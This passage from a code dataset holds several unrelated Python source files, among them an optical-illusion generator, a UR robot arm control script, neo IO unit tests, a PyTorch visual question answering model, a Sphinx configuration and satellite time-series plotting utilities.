pipeline_model.transform(df_test)\n\npred.write.mode(\"overwrite\").text(predict_path)\n","sub_path":"BD/BD_projects/5b/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"562318804","text":"from psychopy import visual\nimport PIL.Image, PIL.ImageDraw, PIL.ImageFilter, PIL.ImageFont, PIL.ImageOps\nfrom ..image import image_line, image_rectangle\nfrom ..image.utilities import _coord_line, _coord_rectangle\n\n\ndef poggendorff_psychopy(window, parameters=None, outline=5, **kwargs):\n \"\"\"\n Examples\n --------- \n >>> import pyllusion as ill\n >>> from psychopy import visual, event\n \n >>> parameters = ill.poggendorff_parameters(difference=0, illusion_strength=-55)\n \n >>> # Initiate Window\n >>> window = visual.Window(size=[800, 600], fullscr=False,\n screen=0, winType='pyglet', monitor='testMonitor',\n allowGUI=False, color=\"white\",\n blendMode='avg', units='pix')\n \n >>> # Display illusion\n >>> ill.poggendorff_psychopy(window=window, parameters=parameters)\n \n >>> # Refresh and close window \n >>> window.flip()\n >>> event.waitKeys() # Press any key to close\n >>> window.close()\n \"\"\"\n \n # Create white canvas and get drawing context\n if parameters is None:\n parameters = poggendorff_parameters(**kwargs)\n\n # Draw lines\n for pos in [\"Left_\", \"Right_\"]:\n coord, _, _ = _coord_line(image=window,\n x1=parameters[pos + \"x1\"],\n y1=parameters[pos + \"y1\"],\n x2=parameters[pos + \"x2\"],\n y2=parameters[pos + \"y2\"],\n method=\"psychopy\",\n adjust_height=True)\n # line parameters\n line = visual.Line(win=window, units='pix',\n lineColor=\"red\", lineWidth=outline)\n line.start = [coord[0]-window.size[0]/2, coord[1]-window.size[1]/2]\n line.end = [coord[2]-window.size[0]/2, coord[3]-window.size[1]/2]\n line.draw()\n \n # Draw shaded rectangle\n x1, y1, x2, y2 = _coord_rectangle(image=window, x=0, y=parameters[\"Rectangle_y\"],\n size_width=parameters[\"Rectangle_Width\"], size_height=parameters[\"Rectangle_Height\"],\n method=\"psychopy\")\n\n rect = visual.Rect(win=window, units='pix', width=x2-x1, height=y2-y1, fillColor=\"grey\")\n rect.draw()\n\n\ndef poggendorff_image(\n parameters=None, width=800, height=600, background=\"white\", **kwargs\n):\n \"\"\"Create the Poggendorff illusion.\n The Poggendorff illusion is an optical illusion that involves the misperception\n of the position of one segment of a transverse line that has been interrupted\n by the contour of an intervening structure.\n\n Examples\n ---------\n >>> import pyllusion as ill\n >>>\n >>> parameters = ill.poggendorff_parameters(difference=0, illusion_strength=-55)\n >>> ill.poggendorff_image(parameters) #doctest: +ELLIPSIS\n <PIL.Image.Image ...>\n\n\n \"\"\"\n # Create white canvas and get drawing context\n if parameters is None:\n parameters = poggendorff_parameters(**kwargs)\n\n # Background\n image = PIL.Image.new(\"RGB\", (width, height), color=background)\n\n # Lines\n for pos in [\"Left_\", \"Right_\"]:\n image = image_line(\n image=image,\n x1=parameters[pos + \"x1\"],\n y1=parameters[pos + \"y1\"],\n x2=parameters[pos + \"x2\"],\n y2=parameters[pos + \"y2\"],\n color=\"red\",\n adjust_height=True,\n size=20,\n )\n\n image = image_rectangle(\n image=image,\n y=parameters[\"Rectangle_y\"],\n size_width=parameters[\"Rectangle_Width\"],\n size_height=parameters[\"Rectangle_Height\"],\n color=\"grey\",\n adjust_height=False,\n size=20,\n )\n\n return image\n\n\ndef poggendorff_parameters(difference=0, illusion_strength=0):\n \"\"\"\n Zollner Illusion\n\n Parameters\n ----------\n difficulty : float\n Top line angle (clockwise).\n illusion : float\n Top distractor lines angle (clockwise).\n \"\"\"\n y_offset = difference\n\n # Coordinates of left line\n angle = 90 - illusion_strength\n angle = angle if illusion_strength >= 0 else -angle\n coord, _, _ = _coord_line(x1=0, y1=0, angle=-angle, length=0.75)\n left_x1, left_y1, left_x2, left_y2 = coord\n\n # Right line\n coord, _, _ = _coord_line(x1=0, y1=y_offset, angle=180 - angle, length=0.75)\n right_x1, right_y1, right_x2, right_y2 = coord\n\n parameters = {\n \"Illusion\": \"Poggendorff\",\n \"Illusion_Strength\": illusion_strength,\n \"Difference\": difference,\n \"Illusion_Type\": \"Congruent\" if illusion_strength > 0 else \"Incongruent\",\n \"Left_x1\": left_x1,\n \"Left_y1\": left_y1,\n \"Left_x2\": left_x2,\n \"Left_y2\": left_y2,\n \"Right_x1\": right_x1,\n \"Right_y1\": right_y1,\n \"Right_x2\": right_x2,\n \"Right_y2\": right_y2,\n \"Angle\": angle,\n \"Rectangle_Height\": 1.75,\n \"Rectangle_Width\": 0.5,\n \"Rectangle_y\": 0,\n }\n\n return parameters\n","sub_path":"pyllusion/illusion/poggendorff.py","file_name":"poggendorff.py","file_ext":"py","file_size_in_byte":5076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"608422951","text":"import random\nfrom accesodatos import listaidcanciones\nfrom accesodatos import rutacancionesid\n\n\ndef listaleatoria():\n listaid = listaidcanciones()\n idaleatorio = []\n for _ in range(len(listaid)):\n numero = random.choice(listaid)\n idaleatorio.append(numero)\n listaid.remove(numero)\n return idaleatorio\n\n\ndef randompath():\n listapathid = listaleatoria()\n path = []\n for id in listapathid:\n path.append(rutacancionesid[id])\n return path\n","sub_path":"VLCProject/logica.py","file_name":"logica.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"234820334","text":"import onnx\nfrom onnx_tf.backend import prepare\nimport numpy as np\nimport os\nimport pandas as pd\nimport time\nimport msvcrt\nimport urx\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\nprint(\"\\nDS: myNet\")\nN = int(input(\"\\nNo.: \"))\n\npath = os.getcwd()\nfilePose = (path+\"\\\\DS_myNet_Pose_{}.csv\").format(N)\n\nmodel = onnx.load('myNet.onnx')\nmyNet = prepare(model)\n\nrecPose = []\nrecTime = []\nXD=np.array([[0,0,0],[0.5,0,0],[-0.5,0,0],[0,0.5,0],[0,-0.5,0]])\nxd=XD[N-1,:]\ngoal=np.array([-7.24412093378752,-4.07353966583585,0.220879116932907])\nx0=np.array([4.87597029690398,-2.48125229981619,2.58900872710849])\npose0=((x0+goal)/10).tolist()+[3.142,0,0]\ndt=0.05\n\nrob = urx.Robot(\"192.168.1.2\",use_rt=True)\n\nprint(\"\\nPress any key to initialize:\")\nmsvcrt.getch() # wait key to start\nprint(\"Move to the initial pose, waiting\")\nrob.movel(pose0,vel=0.15,acc=0.5)\nprint(\"\\nPress any key to start:\")\nmsvcrt.getch() # wait key to start\nprint(\"\\nInput #Enter to stop\")\n\nstartTime = time.time()\nwhile True:\n if msvcrt.kbhit():\n key = msvcrt.getch() #wait the Enter key to stop\n if key == b'\\r':\n break\n\n curTime=time.time()-startTime\n curPose=rob.get_myPose()\n recTime.append(curTime)\n recPose.append(curPose)\n\n curPosition=np.array(curPose[0:3])*10-goal-xd\n\n if np.linalg.norm(curPosition)<0.13 or curTime>17:\n break\n\n desVelocity=np.squeeze(np.array(myNet.run(curPosition.reshape([1,1,3,1]))))/10\n desVelocity=desVelocity/3\n desVelocity=desVelocity.tolist()+[0,0,0]\n rob.speedl(velocities=desVelocity,acc=3,min_time=1)\n time.sleep(dt)\n\nendTime = time.time()\nrob.stopl(acc=3)\ntime.sleep(dt)\nrob.close()\n\nprint(\"\\nEnd!\")\nprint(\"Program time: \",endTime-startTime,\"s\\n\")\n\n##========================================\n# Save the data\n\ncolumn_label = ['x','y','z','rx','ry','rz']\npd_position = pd.DataFrame(columns=column_label,index=recTime,data=recPose)\npd_position.to_csv(filePose)\n","sub_path":"urControl/DS_control_1.py","file_name":"DS_control_1.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"603748697","text":"# -*- coding: utf-8 -*-\n\"\"\"\nTests of neo.io.exampleio\n\"\"\"\n\n# needed for python 3 compatibility\nfrom __future__ import unicode_literals, print_function, division, absolute_import\n\nimport unittest\n\nfrom neo.io.exampleio import ExampleIO#, HAVE_SCIPY\nfrom neo.test.iotest.common_io_test import BaseTestIO\n\nimport quantities as pq\nimport numpy as np\n\n#This run standart tests, this is mandatory for all IO\nclass TestExampleIO(BaseTestIO, unittest.TestCase, ):\n ioclass = ExampleIO\n files_to_test = ['fake1',\n 'fake2',\n ]\n files_to_download = []\n\n\nclass Specific_TestExampleIO(unittest.TestCase):\n def test_read_segment_lazy(self):\n r = ExampleIO(filename=None)\n seg = r.read_segment(cascade=True, lazy=True)\n for ana in seg.analogsignals:\n self.assertEqual(ana.size, 0)\n assert hasattr(ana, 'lazy_shape')\n for st in seg.spiketrains:\n self.assertEqual(st.size, 0)\n assert hasattr(st, 'lazy_shape')\n\n seg = r.read_segment(cascade=True, lazy=False)\n for anasig in seg.analogsignals:\n self.assertNotEqual(anasig.size, 0)\n for st in seg.spiketrains:\n self.assertNotEqual(st.size, 0)\n \n #annotations\n assert 'seg_extra_info' in seg.annotations\n assert seg.name=='Seg #0 Block #0'\n for anasig in seg.analogsignals:\n assert anasig.name is not None\n for st in seg.spiketrains:\n assert st.name is not None\n for ev in seg.events:\n assert ev.name is not None\n for ep in seg.epochs:\n assert ep.name is not None\n \n def test_read_block(self):\n r = ExampleIO(filename=None)\n bl = r.read_block(cascade=True, lazy=True)\n assert len(bl.list_units) == 3\n #~ print(len(bl.channel_indexes))\n assert len(bl.channel_indexes) == 1 + 3 #signals grouped + units\n\n def test_read_segment_with_time_slice(self):\n r = ExampleIO(filename=None)\n seg = r.read_segment(time_slice=None)\n shape_full = seg.analogsignals[0].shape\n spikes_full = seg.spiketrains[0]\n event_full = seg.events[0]\n \n t_start, t_stop = 260*pq.ms, 1.854*pq.s\n seg = r.read_segment(time_slice=(t_start, t_stop))\n shape_slice = seg.analogsignals[0].shape\n spikes_slice = seg.spiketrains[0]\n event_slice = seg.events[0]\n \n assert shape_full[0]>shape_slice[0]\n \n assert spikes_full.size>spikes_slice.size\n assert np.all(spikes_slice>=t_start)\n assert np.all(spikes_slice<=t_stop)\n assert spikes_slice.t_start==t_start\n assert spikes_slice.t_stop==t_stop\n \n assert event_full.size>event_slice.size\n assert np.all(event_slice.times>=t_start)\n assert np.all(event_slice.times<=t_stop)\n\n def test_read_block_with_time_slices(self):\n r = ExampleIO(filename=None)\n bl = r.read_block(time_slices=None)\n real_segments = bl.segments\n assert len(real_segments)==2\n \n \n time_slices = [(1, 3), (4, 5), (16, 21), (21.5, 22.)]\n bl = r.read_block(time_slices=time_slices)\n sliced_segments = bl.segments\n assert len(sliced_segments)==len(time_slices)\n \n with self.assertRaises(ValueError):\n buggy_time_slices = [(11, 14)]\n bl = r.read_block(time_slices=buggy_time_slices)\n \n \n \n \n \n\n\n\nif __name__ == \"__main__\":\n unittest.main()\n\n\n","sub_path":"neo/test/iotest/test_exampleio.py","file_name":"test_exampleio.py","file_ext":"py","file_size_in_byte":3564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"64600258","text":"class Employee:\n def __init__(self, first, last, pay):\n self.first = first\n self.last = last\n self.pay = pay\n self.email = first + '.' + last + '@compony.com'\n\n def fullname(self):\n return '{} {}'.format(self.first, self.last)\n\nemp_1 = Employee('first', 'employee', 5000)\nemp_2 = Employee('second', 'employee', 6000)\n\nprint(emp_1.fullname())\nprint(Employee.fullname(emp_1))","sub_path":"Python OOP Tutorial 5 Special (MagicDunder) Methods/Python OOP Tutorial 1 Classes and Instances/oop.py","file_name":"oop.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"32068013","text":"import torch.optim as optim\nimport numpy as np\n################################################\n# Create Model and Optimizer\n################################################\n\n\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\n\n\nclass StackedAttentionModel(nn.Module):\n def __init__(self, num_classes=2000, question_vocab_size=13995, embedding_size=256,\n hidden_size=512, img_maps=2048, k=400):\n super().__init__()\n self.img_maps = img_maps\n # self.qmodel = qmodel\n # self.imgmodel = imgmodel\n\n self.embeddings = nn.Embedding(question_vocab_size, embedding_size, padding_idx=0)\n self.rnn = nn.GRU(embedding_size, img_maps // 2, batch_first=True, bidirectional=True)\n\n self.img_weight_k1 = nn.Linear(img_maps, k)\n self.que_weights_k1 = nn.Linear(img_maps, k, bias=False)\n\n self.img_weight_k2 = nn.Linear(img_maps, k)\n self.que_weights_k2 = nn.Linear(img_maps, k, bias=False)\n\n self.energy_k1 = nn.Linear(k, 1)\n self.energy_k2 = nn.Linear(k, 1)\n\n self.v = nn.Parameter(torch.FloatTensor(1, hidden_size + embedding_size))\n\n self.fc1 = nn.Linear(img_maps, num_classes)\n\n def forward(self, question, image, hidden=None):\n max_len = question.size(1) # Maximum length of question\n batch_size = image.size(0) # Current Batch size, if you need this you're doing something wrong\n # print(max_len, batch_size)\n # b * 2048 * 14 * 14 ==> b * 2048 * 196\n\n image_features = image.view(batch_size, self.img_maps, -1).permute(0, 2, 1)\n embedded_questions = self.embeddings(question)\n rnn_encoding, last_hidden = self.rnn(embedded_questions)\n question_embedding = torch.cat([last_hidden[0], last_hidden[1]], dim=1)\n\n #########################################\n # Step 1\n ########################################\n\n downsampled_questions1 = self.img_weight_k1(question_embedding)\n downsampled_image1 = self.que_weights_k1(image_features)\n hA1 = F.tanh(downsampled_image1 + downsampled_questions1.unsqueeze(dim=1))\n alpha1 = F.softmax(self.energy_k1(hA1), dim=1)\n context1 = image_features * alpha1\n context_sum1 = context1.sum(dim=1)\n\n visual_question_embedding = context_sum1 + question_embedding\n\n #########################################\n # Step 2\n ########################################\n\n downsampled_questions2 = self.img_weight_k2(visual_question_embedding)\n downsampled_image2 = self.que_weights_k2(image_features)\n hA2 = F.tanh(downsampled_image2 + downsampled_questions2.unsqueeze(dim=1))\n alpha2 = F.softmax(self.energy_k2(hA2), dim=1)\n context2 = image_features * alpha2\n context_sum2 = context2.sum(dim=1)\n visual_question_embedding_final = context_sum2 + visual_question_embedding\n\n ###########################\n # Done with last encoding\n ##############################\n return F.log_softmax(self.fc1(visual_question_embedding_final), dim=1)\n\n\ndef returnmodel(cuda=True, data_parallel=True, num_classes=2000, question_vocab_size=13995, embedding_size=256,\n hidden_size=512, img_maps=2048, k=400):\n data_parallel = cuda and data_parallel\n\n model = StackedAttentionModel(num_classes, question_vocab_size, embedding_size, hidden_size, img_maps, k)\n\n if data_parallel:\n model = nn.DataParallel(model).cuda()\n\n if cuda and not data_parallel:\n model.cuda()\n\n return model\n","sub_path":"models/stacked_attention_model.py","file_name":"stacked_attention_model.py","file_ext":"py","file_size_in_byte":3574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"181970334","text":"# ===============LICENSE_START=======================================================\n# Aimee Ukasick Apache-2.0\n# ===================================================================================\n# Copyright (C) 2019 Aimee Ukasick. All rights reserved.\n# ===================================================================================\n# This software file is distributed by Aimee Ukasick\n# under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# This file is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ===============LICENSE_END=========================================================\n# -*- coding: utf-8 -*-\n#\n# Configuration file for the Sphinx documentation builder.\n#\n# This file does only contain a selection of the most common options. For a\n# full list see the documentation:\n# http://www.sphinx-doc.org/en/master/config\n\n# -- Path setup --------------------------------------------------------------\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#\n# import os\n# import sys\n# sys.path.insert(0, os.path.abspath('.'))\n\nfrom datetime import datetime\n\n\n# -- Project information -----------------------------------------------------\n\nproject = u'Aimee Ukasick'\nyear = datetime.now().year\ncopyright = u'%d, Aimee Ukasick. Licensed under CC BY 4.0' % year\nauthor = 'Aimee Ukasick. Licensed under CC BY 4.0.'\n\n# The short X.Y version\nversion = '1.0'\n# The full version, including alpha/beta/rc tags\nrelease = '1.0'\n\n\n# -- General configuration ---------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#\n# needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = [\n 'sphinx.ext.ifconfig'\n]\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix(es) of source filenames.\n# You can specify multiple suffix as a list of string:\n#\n# source_suffix = ['.rst', '.md']\nsource_suffix = '.rst'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\nlanguage = None\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path.\nexclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = None\n\n\n# -- Options for HTML output -------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\n#\nhtml_short_title = \"Home\"\n\n# sphinx_rtd_theme - mobile friendly\nhtml_theme = 'sphinx_rtd_theme'\n# 9b59b6 is the light purple color in the navigation\n# 2980b9 is the blue used for Edit on GitHub\n# 000099 is a dark blue\nhtml_theme_options = {\n 'prev_next_buttons_location': 'both',\n 'style_nav_header_background': '#6600cc',\n 'display_version': False,\n 'style_external_links': False,\n 'github_url': 'https://github.com/aimeeu/aimee-ukasick-resume' \n}\n\n\n# from better import better_theme_path\n# html_theme_path = [better_theme_path]\n# html_theme = 'better'\n# html_theme_options = {\n # show sidebar on the right instead of on the left\n# 'rightsidebar': False,\n\n # inline CSS to insert into the page if you're too lazy to make a\n # separate file\n #'inlinecss': '',\n\n # CSS files to include after all other CSS files\n # (refer to by relative path from conf.py directory, or link to a\n # remote file)\n #'cssfiles': ['_static/my_style.css'], # default is empty list\n\n # show a big text header with the value of html_title\n# 'showheader': False,\n\n # show the breadcrumbs and index|next|previous links at the top of\n # the page\n# 'showrelbartop': True,\n # same for bottom of the page\n# 'showrelbarbottom': True,\n\n # show the self-serving link in the footer\n# 'linktotheme': True,\n\n # width of the sidebar. page width is determined by a CSS rule.\n # I prefer to define things in rem because it scales with the\n # global font size rather than pixels or the local font size.\n# 'sidebarwidth': '15rem',\n\n # color of all body text\n# 'textcolor': '#000000',\n\n # color of all headings (<h1> tags); defaults to the value of\n # textcolor, which is why it's defined here at all.\n# 'headtextcolor': '#5900b3', # dark purple\n #'headtextcolor': '#e62e00', #dark orange\n\n # color of text in the footer, including links; defaults to the\n # value of textcolor\n# 'footertextcolor': '#400080',\n\n# }\n# html_sidebars = {\n# '**': ['localtoc.html', 'sourcelink.html', 'searchbox.html'],\n# }\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further. For a list of options available for each theme, see the\n# documentation.\n#\n\n\n# Activate the bootstrap theme. - not good for pages with more than a few levels of headings\n# import sphinx_bootstrap_theme\n# html_theme = 'bootstrap'\n# html_theme_path = sphinx_bootstrap_theme.get_html_theme_path()\n# html_theme_options={\n# 'navbar_title': \"Aimee Ukasick\",\n # Bootswatch (http://bootswatch.com/) theme.\n #\n # Options are nothing (default) or the name of a valid theme\n # such as \"cosmo\" or \"sandstone\".\n #\n # The set of valid themes depend on the version of Bootstrap\n # that's used (the next config option).\n #\n # Currently, the supported themes are:\n # - Bootstrap 2: https://bootswatch.com/2\n # - Bootstrap 3: https://bootswatch.com/3\n# 'bootswatch_theme': \"spacelab\",\n\n # Choose Bootstrap version.\n # Values: \"3\" (default) or \"2\" (in quotes)\n# 'bootstrap_version': \"3\",\n# }\n\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# Custom sidebar templates, must be a dictionary that maps document names\n# to template names.\n#\n# The default sidebars (for documents that don't match any pattern) are\n# defined by theme itself. Builtin themes are using these templates by\n# default: ``['localtoc.html', 'relations.html', 'sourcelink.html',\n# 'searchbox.html']``.\n#\n# html_sidebars = {}\n\n\n# -- Options for HTMLHelp output ---------------------------------------------\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'AimeeUkasickResumedoc'\n\n\n# -- Options for LaTeX output ------------------------------------------------\n\nlatex_elements = {\n # The paper size ('letterpaper' or 'a4paper').\n #\n # 'papersize': 'letterpaper',\n\n # The font size ('10pt', '11pt' or '12pt').\n #\n # 'pointsize': '10pt',\n\n # Additional stuff for the LaTeX preamble.\n #\n # 'preamble': '',\n\n # Latex figure (float) alignment\n #\n # 'figure_align': 'htbp',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n# author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n (master_doc, 'AimeeUkasickResume.tex', 'Aimee Ukasick Documentation',\n 'Aimee Ukasick', 'manual'),\n]\n\n\n# -- Options for manual page output ------------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n (master_doc, 'aimeeukasickresume', 'Aimee Ukasick Documentation',\n [author], 1)\n]\n\n\n# -- Options for Texinfo output ----------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n# dir menu entry, description, category)\ntexinfo_documents = [\n (master_doc, 'AimeeUkasickResume', 'Aimee Ukasick Documentation',\n author, 'AimeeUkasickResume', 'One line description of project.',\n 'Miscellaneous'),\n]\n\n\n# -- Options for Epub output -------------------------------------------------\n\n# Bibliographic Dublin Core info.\nepub_title = project\n\n# The unique identifier of the text. This can be a ISBN number\n# or the project homepage.\n#\n# epub_identifier = ''\n\n# A unique identification for the text.\n#\n# epub_uid = ''\n\n# A list of files that should not be packed into the epub file.\nepub_exclude_files = ['search.html']\n\n\n# -- Extension configuration -------------------------------------------------\n","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":9188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"111493813","text":"# @Date: 2016-10-15 18:08:08\n# @Last Modified time: 2017-03-16 10:14:14\n#\n# 构造一个从3开始的奇数序列\n\n\ndef ji_shu():\n l = []\n n = 3\n while 1:\n l.append(n)\n n += 2\n return l\n#\n# 寻常list,无限大,会卡死\n#\n\n\ndef jiShu(n=3):\n while True:\n yield n\n n += 2\n#\n# 无限序列奇数生成器\n#\n\njs = jiShu() # 只能在交互式里运行\nfor i in range(100):\n js.next()\n\n\ndef shanXuan():\n return lambda x: x % n > 0\n","sub_path":"Examples/tests/su_shu.py","file_name":"su_shu.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"460179980","text":"import matplotlib.pyplot as plt\nfrom datetime import datetime\nimport numpy as np\nimport pandas as pd\nimport datacube as dc\nimport xarray as xr\nimport utils.data_cube_utilities.data_access_api as dc_api \nfrom utils.data_cube_utilities.dc_utilities import perform_timeseries_analysis\nfrom utils.data_cube_utilities.dc_mosaic import ls7_unpack_qa\nfrom rasterstats import zonal_stats\nfrom scipy import stats\nfrom scipy.stats import norm\nimport pylab\nimport matplotlib as mpl\nfrom scipy.signal import gaussian\nfrom scipy.ndimage import filters\nfrom sklearn import linear_model\nfrom scipy.interpolate import spline\nimport matplotlib.mlab as mlab\nimport matplotlib.ticker as ticker\nfrom matplotlib.ticker import FuncFormatter\nimport calendar, datetime, time\nimport pytz\n\nfrom scipy.interpolate import interp1d\n\ndef impute_missing_data_1D(data1D):\n \"\"\"\n This function returns the data in the same format as it was \n passed in, but with missing values either masked out or imputed with appropriate values \n (currently only using a linear trend). Many linear plotting functions for 1D data often \n (and should) only connect contiguous, non-nan data points. This leaves gaps in the \n piecewise linear plot, which are graphically undesirable.\n \n Parameters\n ----------\n data: numpy.ndarray\n A 1D NumPy array for which missing values are to be masked or imputed \n suitably for at least matplotlib plotting. If formatting for other libraries such \n as seaborn or plotly is necessary, add that formatting requirement as a parameter.\n \"\"\"\n# print(\"data1D:\", data1D)\n nan_mask = ~np.isnan(data1D)\n x = np.arange(len(data1D))\n x_no_nan = x[nan_mask]\n# print(\"x_no_nan:\", x_no_nan)\n data_no_nan = data1D[nan_mask]\n# print(\"data_no_nan:\", data_no_nan)\n if len(x_no_nan) >= 2:\n f = interp1d(x_no_nan, data_no_nan)\n # Select points for interpolation.\n interpolation_x_mask = (x_no_nan[0]<=x) & (x<=x_no_nan[-1])\n# print(\"interpolation_x_mask:\", interpolation_x_mask)\n interpolation_x = x[interpolation_x_mask]\n# print(\"interpolation_x:\", interpolation_x)\n data1D_interp = np.arange(len(data1D), dtype=np.float32)\n # The ends of data1D may contain NaNs that must be included.\n end_nan_inds = x[(x<=x_no_nan[0]) | (x_no_nan[-1]<=x)]\n# end_nan_inds = np.setdiff1d(x[[0,-1]], x_no_nan, assume_unique=True)\n# print(\"end_nan_inds:\", end_nan_inds)\n data1D_interp[end_nan_inds] = np.nan\n data1D_interp[interpolation_x_mask] = f(interpolation_x)\n# print(\"data1D_interp:\", data1D_interp)\n return data1D_interp\n else: # Cannot interpolate with a single non-nan point.\n return data1D\n \ndef n64_to_epoch(timestamp):\n ts = pd.to_datetime(str(timestamp)) \n ts = ts.strftime('%Y-%m-%d')\n tz_UTC = pytz.timezone('UTC')\n time_format = \"%Y-%m-%d\"\n naive_timestamp = datetime.datetime.strptime(ts, time_format)\n aware_timestamp = tz_UTC.localize(naive_timestamp)\n epoch = aware_timestamp.strftime(\"%s\")\n return (int) (epoch)\n\ndef regression_massage(ds): \n t_len = len(ds[\"time\"])\n s_len = len(ds[\"latitude\"]) * len(ds[\"longitude\"])\n flat_values = ds.values.reshape(t_len * s_len)\n return list(zip(list(map(n64_to_epoch, ds.time.values)),flat_values))\n\ndef remove_nans(aList):\n i = 0\n while i < len(aList):\n if np.isnan(aList[i][1]):\n del aList[i]\n i = 0\n else:\n i+=1\n return aList\n\ndef full_linear_regression(ds):\n myList = regression_massage(ds)\n myList = remove_nans(myList)\n myList = sorted(myList, key=lambda tup: tup[0])\n time, value = zip(*myList)\n value = [int(x) for x in value]\n value = np.array(value)\n value.astype(int)\n time = np.array(time)\n time.astype(int)\n return list(zip(time,value))\n \ndef tfmt(x, pos=None):\n return time.strftime(\"%Y-%m-%d\",time.gmtime(x))\n\ndef plot_band(landsat_dataset, dataset, figsize=(20,15), fontsize=24, legend_fontsize=24):\n \"\"\"\n Plots several statistics over time - including mean, median, linear regression of the \n means, Gaussian smoothed curve of means, and the band enclosing the 25th percentiles \n and the 75th percentiles. This is very similar to the output of the Comet Time Series \n Toolset (https://github.com/CosmiQ/CometTS). \n \n Parameters\n ----------\n landsat_dataset: xarray.Dataset\n An xarray `Dataset` containing longitude, latitude, and time coordinates.\n dataset: xarray.DataArray\n An xarray `DataArray` containing time, latitude, and longitude coordinates.\n figsize: tuple\n A 2-tuple of the figure size in inches for the entire figure.\n fontsize: int\n The font size to use for text.\n \"\"\"\n \n #Calculations\n times = dataset.time.values\n times = list(map(n64_to_epoch, times))\n times = np.array(times)\n times = np.sort(times)\n mean = dataset.mean(dim=['latitude','longitude'], skipna = True).values\n medians = dataset.median(dim=['latitude','longitude'], skipna = True)\n \n std_dev = np.nanstd(mean)\n plt.figure(figsize=figsize)\n ax = plt.gca()\n\n #Shaded Area\n quarter = np.nanpercentile(\n dataset.values.reshape((\n landsat_dataset.dims['time'],\n landsat_dataset.dims['latitude'] * landsat_dataset.dims['longitude'])),\n 25,\n axis = 1\n )\n three_quarters = np.nanpercentile(\n dataset.values.reshape((\n landsat_dataset.dims['time'],\n landsat_dataset.dims['latitude'] * landsat_dataset.dims['longitude'])),\n 75,\n axis = 1\n )\n np.array(quarter)\n np.array(three_quarters)\n ax.grid(color='lightgray', linestyle='-', linewidth=1)\n fillcolor1='gray'\n fillcolor2='brown'\n fillalpha=0.4\n plt.fill_between(times, mean, quarter, interpolate=False, color=fillcolor1, alpha=fillalpha,label=\"25th\")\n plt.fill_between(times, mean, three_quarters, interpolate=False, color=fillcolor1, alpha=fillalpha,label=\"75th\")\n \n #Medians\n plt.plot(times,medians,color=\"black\",marker=\"o\",linestyle='None', label = \"Medians\")\n \n #Linear Regression (on everything)\n #Data formatted in a way for needed for Guassian and Linear Regression\n #regression_list = full_linear_regression(dataset)\n #formatted_time, value = zip(*regression_list)\n #formatted_time = np.array(formatted_time)\n \n #The Actual Plot\n plt.plot(times,mean,color=\"blue\",label=\"Mean\")\n\n #Linear Regression (on mean)\n m, b = np.polyfit(times, mean, 1)\n plt.plot(times, m*times + b, '-', color=\"red\",label=\"linear regression of mean\",linewidth = 3.0)\n\n #Gaussian Curve\n b = gaussian(len(times), std_dev)\n ga = filters.convolve1d(mean, b/b.sum(),mode=\"reflect\")\n x_smooth = np.linspace(times.min(),times.max(), 200)\n y_smooth = spline(times, ga, x_smooth)\n plt.plot(x_smooth, y_smooth, '-',label=\"Gaussian Smoothed of mean\", alpha=1, color='limegreen',linewidth = 3.0)\n \n \n #Formatting\n ax.grid(color='k', alpha=0.1, linestyle='-', linewidth=1)\n ax.xaxis.set_major_formatter(FuncFormatter(tfmt))\n plt.legend(loc='center left', 